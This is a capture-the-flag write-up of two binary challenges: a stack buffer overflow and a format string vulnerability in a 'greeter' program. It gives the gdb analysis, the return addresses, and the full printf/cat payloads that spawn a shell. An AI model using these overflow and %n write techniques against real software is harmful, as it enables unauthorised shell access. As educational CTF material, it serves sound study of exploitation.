The task description contained ssh credentials to a machine. If you didn't participate in the CTF feel free to try solving the task before reading on, I guess the machine will be on for a few days.

This service just says hello to everyone! I hate it! Do something with it!
ssh -p22200
pass: user;
After logging in we see a text file, that possibly contains the flag, and an executable called greeter.

Naturally we don't have access to the flag.txt file. The greeter application is a simple program that asks for a name and echoes it back. The task description says "Do something with it" so it's pretty clear that this is where we should start. Let's load the binary in IDA.

Okay, this is a gaping hole, but hey, it's perfect for this sort-of introductory CTF. What we see here is a classic buffer overflow. The buffer's size is 0x100 and we read 0x140 characters, overwriting the return address. Let's exploit it. Using gdb we can check what happens when the buffer is overflowed.
gdb ./greeter
(gdb) disas main
(gdb) b *main+67 // breakpoint after fgets
(gdb) r
After this we enter a large input, let's say ~300 bytes. This is the input I used to be able to locate every byte:
The first 256 bytes won't matter since they will be inside the buffer. After the input we can start stepping in gdb (ni command) and see what happens. After 11 steps we get to the ret instruction and when the ret runs we get an error:

Cannot access memory at address 0x31305a5d
The program tried to return to the address 0x31305a5d.  Since the architecture is little-endian we have to reverse this to get: 0x5d5a3031. In ASCII this is "]Z01" which is almost what the input contained, except the first value (which was Y) was incremented by 4. This probably happened after the fgets call and before the return. Nothing to worry about, since we can always compensate.

We can control where we return from the main function and they even added a branch to the program that starts a shell for us. To enter this branch the 'a' variable's value has to be non-zero. But since we can jump anywhere, we can just jump to the start of the shell without changing 'a'-s value. Let's see where we have to jump.
(gdb) disas main
// Just the relevant part
0x080484e3 <main+83>: mov 0x8049740,%eax
0x080484e8 <main+88>: test %eax,%eax
0x080484ea <main+90>: je 0x8048508 <main+120>
0x080484ec <main+92>: movl $0x0,0x8(%esp)
(Note that this is AT&T syntax, so the source and destination are switched here)
We can see that the test occurs at 0x080484e8 and we want to jump (return) to 0x080484ec. Let's subtract 4 to compensate for the increase mentioned earlier. To test this I created an input with lots of 'a' characters and in place of the return address a special string that we will change from gdb (since we can't simply input non-ascii characters). This special string will be changed to the return address in gdb using the following command:

(gdb) set {int}(0xbfc33708) = 0x080484e8
(Where 0xbfc33708 is the location of our "special" string in the buffer). Let's see what happens now. This is where we end up after ret:
0xb765000a:     jno    0xb7650081
Weird. It looks like we jumped to a different address. After double-checking this address turned out to be the next value in the stack so we need to add the return address there. This is the final input:
(The new address doesn't need to be decreased by 4)
This is where I got stuck a bit. You can't enter the non-ASCII values in the program itself but you can use printf and echo the created string this way:
echo $(printf "aaaa...\xec\x84\x04\x08") | ./greeter
The only problem is that this way we won't be able to control the shell we have. I tried entering multiple lines so that the next line would be interpreted by the shell but it didn't work.

The solution is to store the input in a file and use cat to copy it to the standard input of the executable. cat handles the "-" file name in a special way - it means "stdin". This is how we can get a shell:

user@localhost:~$ echo $(printf "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xec\x84\x04\x08") > /tmp/dont_guess_this
    user@localhost:~$ cat /tmp/dont_guess_this - | ./greeter
    What is your name? (up to 256 chars)
    Hello, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaě
    flag.txt  greeter
    cat flag.txt

And we are done. Thanks to the CTF admins who taught me what the dash means when using the cat command.


Type: binary
Points: 300
The setup is the same here except the port is 22201. The greeter executable works the same as the previous one, but there must be a vulnerability somewhere. This is what we get after loading the binary in IDA:

int __cdecl main()
  char v1; // [sp+10h] [bp-110h]@1
  memset(&v1, 0, 0x100u);
  puts("What is your name? (up to 256 chars)");
  fgets(&v1, 256, stdin);
  printf("Hello, ");
  if ( a )
    execlp("/bin/sh", "/bin/sh", 0);
  return 0;

Another gaping hole, this time a format string vulnerability. Again, I believe these really obvious vulnerabilities are perfect for this kind of CTF. I'm not an expert and I had fun figuring out both the buffer overflow and the format string exploits.

Overwriting arbitrary memory is easier than jumping to an arbitrary location with a format string vulnerability, so this time we will try to overwrite the 'a' variable. Its location can be found with gdb.

(gdb) disas main
// Just the relevant part
0x080484e7 <main+87>:   mov    0x804973c,%eax
0x080484ec <main+92>:   test   %eax,%eax
0x080484ee <main+94>:   je     0x804850c <main+124>
0x080484f0 <main+96>:   movl   $0x0,0x8(%esp)
So the address is 0x804973c - it is loaded into %eax then tested. The value has to be non-null in order to enter the shell's branch (where execlp is).

The most powerful tool to exploit format string vulnerabilities is %n. This format string takes the first address on the stack (4 bytes), counts the amount of characters written so far and then writes this number to the address at the top of the stack. All we need to do is set the stack-pointer to the address of the 'a' variable then put %n to the end of the format string.

But how do we know that the stack has the correct value on the top? We can easily see what's on the stack using %x (or %08x for nicer output). Let's experiment a little.
user@localhost:~$ ./greeter
What is your name? (up to 256 chars)
AAAA %08x
Hello, AAAA 00000100
user@localhost:~$ ./greeter
What is your name? (up to 256 chars)
AAAA %08x %08x
Hello, AAAA 00000100 b76f3420
user@localhost:~$ ./greeter
What is your name? (up to 256 chars)
AAAA %08x %08x %08x
Hello, AAAA 00000100 b76fa420 b7721be0
user@localhost:~$ ./greeter
What is your name? (up to 256 chars)
AAAA %08x %08x %08x %08x
Hello, AAAA 00000100 b77a5420 b77ccbe0 41414141
Bingo. We now know where the input is in the stack. If this method doesn't give a result fast enough it could also be done in gdb. This is how the final input will look like (don't forget endianness):
Just like before we can't echo this to the stdin of greeter, we need to create a file again. Note that % symbols need to be escaped using %%.

user@localhost:~$ echo $(printf "\x3c\x97\x04\x08%%x%%x%%x%%n") > /tmp/dont_guess_this
user@localhost:~$ cat /tmp/dont_guess_this - | ./greeter
What is your name? (up to 256 chars)
Hello, 100b77c3420b77eabe0
flag.txt  greeter
cat flag.txt
And we got the flag!

This was a pretty good task-based CTF. I finished at the 5th place with my one-man team. The forensics and crypto challenges were interesting too. Thanks again to all of the h34dump team!